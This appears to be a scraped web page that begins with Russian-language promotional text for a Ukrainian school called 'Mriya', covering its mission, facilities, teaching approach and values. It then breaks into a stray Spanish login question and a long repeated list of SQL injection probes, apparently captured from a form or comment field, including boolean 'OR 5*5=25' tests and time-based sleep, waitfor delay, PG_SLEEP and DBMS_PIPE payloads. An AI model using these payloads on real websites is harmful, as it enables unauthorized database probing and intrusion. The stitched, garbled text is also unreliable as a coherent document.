Сейчас у него немного изменилось значение — это что-то важное, что мы несем в себе миру.
У вас, дорогие родители, миссия. У Мрии тоже миссия.
И если мы скажем, что ребенок в Мрие — это главная ценность, что он вдохновляет нас на творчество, является смыслом, то наши миссии совпадают
И если все совпало — впереди у нас светлые четыре года счастливого партнерства в стенах “Мрии”
Какой бы вы хотели видеть современную школу?
А какой ее сделали мы?
Технически оснащенные классы, просторные, светлые, украшенные цветами коридоры, спортивный комплекс, бассейн, мастерские и лаборатории, комнаты отдыха для учителей и учеников.
Именно здесь проходят современные уроки с использованием новых педагогических технологий и новых ТСО, работает мультимедиа центр, где информацию ученик может получить как в электронном, так и в бумажном виде. Именно здесь кипит жизнь на уроках и во внеурочное время.
“Мрия” — это личности, характеры учеников, поэтому, что бы мы ни делали, какие бы планы ни строили, в центре всегда будет ребенок — наш ученик. И его право выбора.
РО формирует у детей способность к глубокому анализу и миросозерцанию, умению аргументированно рассуждать и излагать свою точку зрения;
– развивает и реализует скрытые возможности, заложенные в ребенке;
– форма обучения не предполагает пассивного восприятия информации от педагога, а приводит к ее усвоению путем серии последовательных логических рассуждений самим учеником. Фактически сам ученик формирует следующую ступень знаний;
– развивает способность нетрадиционно мыслить и находить нестандартные решения;
– развивает аналитические способности и умения аргументированно излагать свою точку зрения, позволяя детям, прошедшим обучение по этой системе, достигать наивысших профессиональных результатов в их дальнейшей жизни.
Проект «Интеллект Украины» внедряет в образовательное пространство систему развития и педагогической поддержки академически способных и одаренных детей.
Ребенок не рождается с табличкой “ Я одаренный”, “ Я способный”.
Как разглядеть то, что скрыто, как не потерять потенциально одаренного ребенка?
«Интеллект Украины» при организации обучения опирается на 2 эффективные образовательные модели:
модель обогащения. Способствует формированию качеств: инициативность, самоконтроль, критичность мышления, креативность.
модель проблематизации. Способствует формированию творческого подхода и рефлексивного плана сознания
Главная идея Новой украинской школы – компетентностный подход в обучении.
Это означает, что ученики не просто будут приобретать знания, а учиться использовать их на практике и овладевать навыками.
То есть формируется ядро знаний, на которое будут накладываться умения, как пользоваться этими знаниями, ценности и навыки, которые
понадобятся выпускникам школы в профессиональной и частной жизни.
Но это не все. С момента основания мы предлагаем детям возможность изучения иностранных языков. Профильный английский, и на выбор – немецкий, французский, испанский. Изучение иностранного с носителем языка – прекрасная возможность для детей практиковаться в свободном общении.
Добавим еще одну немаловажную деталь. Возможность дополнительного развития вашего малыша, не выходя за пределы школы, посещая посещая творческие мастерские и спортивные клубы во второй половине дня:
И еще о важном. О наших учителях, стремящихся выполнить нашу общую миссию – вырастить счастливых и свободных детей!
Всю свою работу с детьми мы направляем на формирование личности и интеллекта, компетентности и лидерских качеств.
Равенство, равно значимость, и свобода ребенка принимать собственные решения — это основные ценности нашей школы. Обучение и внеклассные проекты призваны научить детей тому, что все люди имеют одинаковую ценность. Ребята имеют возможность влиять на свои школьные будни, и быстро учатся брать ответственность за процесс своего обучения.
Muchas gracias. ?Como puedo iniciar sesion?
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '6rdezgBG'='
-1" OR 5*5=25 or "wBXEYk71"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555hZiR7Lo3'; waitfor delay '0:0:15' --
555-1 OR 742=(SELECT 742 FROM PG_SLEEP(15))--
555-1) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
555-1)) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
555SxHtiC91' OR 236=(SELECT 236 FROM PG_SLEEP(15))--
5558h0IkSs0') OR 110=(SELECT 110 FROM PG_SLEEP(15))--
555LB6eZIFH')) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555����%2527%2522\'\"
@@wpxzK
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 5*5=25 --
-1 OR 5*5=25
-1' OR 5*5=25 --
-1" OR 5*5=25 --
-1' OR 5*5=25 or '2IeIwnpP'='
-1" OR 5*5=25 or "AaRSUGih"="
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555DR0jqKGT'; waitfor delay '0:0:15' --
555-1 OR 695=(SELECT 695 FROM PG_SLEEP(15))--
555-1) OR 74=(SELECT 74 FROM PG_SLEEP(15))--
555-1)) OR 370=(SELECT 370 FROM PG_SLEEP(15))--
555qZsCaLTK' OR 48=(SELECT 48 FROM PG_SLEEP(15))--
555d3hBIBOt') OR 143=(SELECT 143 FROM PG_SLEEP(15))--
555V8k9xK5I')) OR 283=(SELECT 283 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555����%2527%2522\'\"
@@mPAA1
1
1
1
1
1
1